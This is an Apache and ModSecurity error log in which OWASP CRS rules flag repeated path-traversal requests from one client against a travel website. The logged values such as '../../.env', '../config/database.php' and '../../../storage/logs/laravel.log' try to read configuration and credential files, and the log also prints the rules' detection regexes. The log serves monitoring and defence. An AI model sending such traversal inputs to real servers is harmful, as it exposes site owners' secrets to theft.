[Fri Jul 17 08:55:04.726899 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBLgAAAAY"]
[Fri Jul 17 08:55:04.738410 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&ref=RPzAGBFQNFn-fAyTROWk9x97GDnlX8UOFjxDfjMmTBjizyglt_jHyHnU8vh6reRram_jvkF-MVAntnE-q1PcFk3btdjvW_pnvm14sw3_vX4K2R20mYi93454l-oZkPPrQ-1FuU14izaUPL0aLP1VFgKCl_NUbwe1X_rWM3UvnbNK0IXQSasG9C_Q9tnNbolzcmWkX0TullbVmkUI3ljIUxRlzlr-QdjWktrYS60xNtZYZNXdSetMKSJ_GkGUyLdyWKsJtXexmLtQsrpwj6SKrJWd&sid=MJOTAYK5IGCFX3L3FASHYPJASY2JZ6YSKHZRYIMHCFUNN3KEBBVKQ6ZD6FSK7UMDHEMFKPRB4A63MAVPX45RCWVP2QARS6ZO6O2XFF5DJOQAZHIPR5..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.738467 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.738520 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../storage/logs/laravel.log&ref=RPzAGBFQNFn-fAyTROWk9x97GDnlX8UOFjxDfjMmTBjizyglt_jHyHnU8vh6reRram_jvkF-MVAntnE-q1PcFk3btdjvW_pnvm14sw3_vX4K2R20mYi93454l-oZkPPrQ-1FuU14izaUPL0aLP1VFgKCl_NUbwe1X_rWM3UvnbNK0IXQSasG9C_Q9tnNbolzcmWkX0TullbVmkUI3ljIUxRlzlr-QdjWktrYS60xNtZYZNXdSetMKSJ_GkGUyLdyWKsJtXexmLtQsrpwj6SKrJWd&sid=MJOTAYK5IGCFX3L3FASHYPJASY2JZ6YSKHZRYIMHCFUNN3KEBBVKQ6ZD6FSK7UMDHEMFKPRB4A63MAVPX45RCWVP2QARS6ZO6O2XFF5DJOQAZHIPR5AYHM274G37LJLIFX6T..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.738573 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../storage/logs/laravel.log&ref=rpzagbfqnfn-faytrowk9x97gdnlx8uofjxdfjmmtbjizyglt_jhyhnu8vh6rerram_jvkf-mvantne-q1pcfk3btdjvw_pnvm14sw3_vx4k2r20myi93454l-ozkpprq-1fuu14izaupl0alp1vfgkcl_nubwe1x_rwm3uvnbnk0ixqsasg9c_q9tnnbolzcmwkx0tullbvmkui3ljiuxrlzlr-qdjwktrys60xntzyznxdsetmksj_gkguyldywksjtxexmltqsrpwj6skrjwd&sid=mjotayk5igcfx3l3fashypjasy2jz6yskhzryimhcfunn3kebbvkq6zd6fsk7umdhemfkprb4a63mavpx45rcwvp2qars6zo6o2xff5djoqazhipr5ayhm274g37ljlifx6t..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.738625 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.738661 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.739987 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.740191 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.740595 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA7FYe46zHK_jL3PdgAAABk"]
[Fri Jul 17 08:55:04.773492 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2F.env&ts=l3vG7wo9GOnJs0bCJzRuVWtterOxTig7LQNtNfGKL3ubtBOjpF2P8qsgFxz8o5MjvI4YLAzW_1JUxTIawQShbK3z6FAQnhcDihslPXidHLlOPF6Re0QA_N5CsdCnvIu6U1ghC_TU1WQucpSWpoIXORCvWRvlqULgDjyQV-nIBVVdwjpO0Op35-8Qo-lFaWmYafBXCB8Fkvm0cOXWfy8MtSIDd0_rtvgPAL02TTGJ_zwsMNfJ6P2Wm1Lx4neS714BfaXTqFlcuh8STgUNgmsVl3V1&anything=P3JF7REZ3GRDPPCGVGUMTKOUU2J7Y7735BGECRUNDVW7HWBFN66HJ4NJR7FV5X7JRGS4OQDPRR3HJC3SRF4L2O6ZCOWTNSK65ZMTKICQXBZRSBZCNC4GHH65B5Y6QGUAYVYR27NJXTI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.773552 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.773601 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../.env&ts=l3vG7wo9GOnJs0bCJzRuVWtterOxTig7LQNtNfGKL3ubtBOjpF2P8qsgFxz8o5MjvI4YLAzW_1JUxTIawQShbK3z6FAQnhcDihslPXidHLlOPF6Re0QA_N5CsdCnvIu6U1ghC_TU1WQucpSWpoIXORCvWRvlqULgDjyQV-nIBVVdwjpO0Op35-8Qo-lFaWmYafBXCB8Fkvm0cOXWfy8MtSIDd0_rtvgPAL02TTGJ_zwsMNfJ6P2Wm1Lx4neS714BfaXTqFlcuh8STgUNgmsVl3V1&anything=P3JF7REZ3GRDPPCGVGUMTKOUU2J7Y7735BGECRUNDVW7HWBFN66HJ4NJR7FV5X7JRGS4OQDPRR3HJC3SRF4L2O6ZCOWTNSK65ZMTKICQXBZRSBZCNC4GHH65B5Y6QGUAYVYR27NJXTI2TDJQM4ANODS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.773638 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../.env&ts=l3vg7wo9gonjs0bcjzruvwtteroxtig7lqntnfgkl3ubtbojpf2p8qsgfxz8o5mjvi4ylazw_1juxtiawqshbk3z6faqnhcdihslpxidhllopf6re0qa_n5csdcnviu6u1ghc_tu1wqucpswpoixorcvwrvlqulgdjyqv-nibvvdwjpo0op35-8qo-lfawmyafbxcb8fkvm0coxwfy8mtsidd0_rtvgpal02ttgj_zwsmnfj6p2wm1lx4nes714bfaxtqflcuh8stgungmsvl3v1&anything=p3jf7rez3grdppcgvgumtkouu2j7y7735bgecrundvw7hwbfn66hj4njr7fv5x7jrgs4oqdprr3hjc3srf4l2o6zcowtnsk65zmtkicqxbzrsbzcnc4ghh65b5y6qguayvyr27njxti2tdjqm4anods..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.773674 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.773711 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.774954 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.775132 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.775493 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zRQAAAAE"]
[Fri Jul 17 08:55:04.811941 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhwAAAAQ"]
[Fri Jul 17 08:55:04.812002 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhwAAAAQ"]
[Fri Jul 17 08:55:04.812095 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:include: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhwAAAAQ"]
[Fri Jul 17 08:55:04.813278 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhwAAAAQ"]
[Fri Jul 17 08:55:04.813427 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.813740 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBhwAAAAQ"]
[Fri Jul 17 08:55:04.814738 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2F..%2F.env&anything=ddPpgaIa7GEpJIlZAK9vtVRI0E3VSiYiicBgR9N-Qvn3c1vwcMpurI-vtpLHV5b_f073PNJDN00MK6bqLfDW2e1fnodQXBKEAz4zi3OdX9VCoOpoABCP33-9BMaEWXXSz7QZqliU4vMcBi79fVxxUlhDxChxeLwcn8gmxzasANIDG_TIfvD9-22xgUlz-C06WzvyBZ2cD53iyPiV2HMhsZ-IDZwz2n17ktAPnAxSFg30FYrs8IVXf8su8lhUGLMjd9GhuvsqfrgP7840z2RuNy9y&token=ALG77Z6ARXBXVUXMVD3GVASSNFESUWN47BFVS2GJWIPNY2SROAIOZE3J5F3XZDZBIEJE7BEEC76ZAP7ZKPTDFPH2LPQH7TEUIYLDOORSSGQ2PDYHRMT25Y3KV6PZVZAJIWR..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.814784 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
[Fri Jul 17 08:55:04.814829 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../../.env&anything=ddPpgaIa7GEpJIlZAK9vtVRI0E3VSiYiicBgR9N-Qvn3c1vwcMpurI-vtpLHV5b_f073PNJDN00MK6bqLfDW2e1fnodQXBKEAz4zi3OdX9VCoOpoABCP33-9BMaEWXXSz7QZqliU4vMcBi79fVxxUlhDxChxeLwcn8gmxzasANIDG_TIfvD9-22xgUlz-C06WzvyBZ2cD53iyPiV2HMhsZ-IDZwz2n17ktAPnAxSFg30FYrs8IVXf8su8lhUGLMjd9GhuvsqfrgP7840z2RuNy9y&token=ALG77Z6ARXBXVUXMVD3GVASSNFESUWN47BFVS2GJWIPNY2SROAIOZE3J5F3XZDZBIEJE7BEEC76ZAP7ZKPTDFPH2LPQH7TEUIYLDOORSSGQ2PDYHRMT25Y3KV6PZVZAJIWRHQDOAUWXMAHYYE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIZvbo7N5o5zeYC-IAAAABw"]
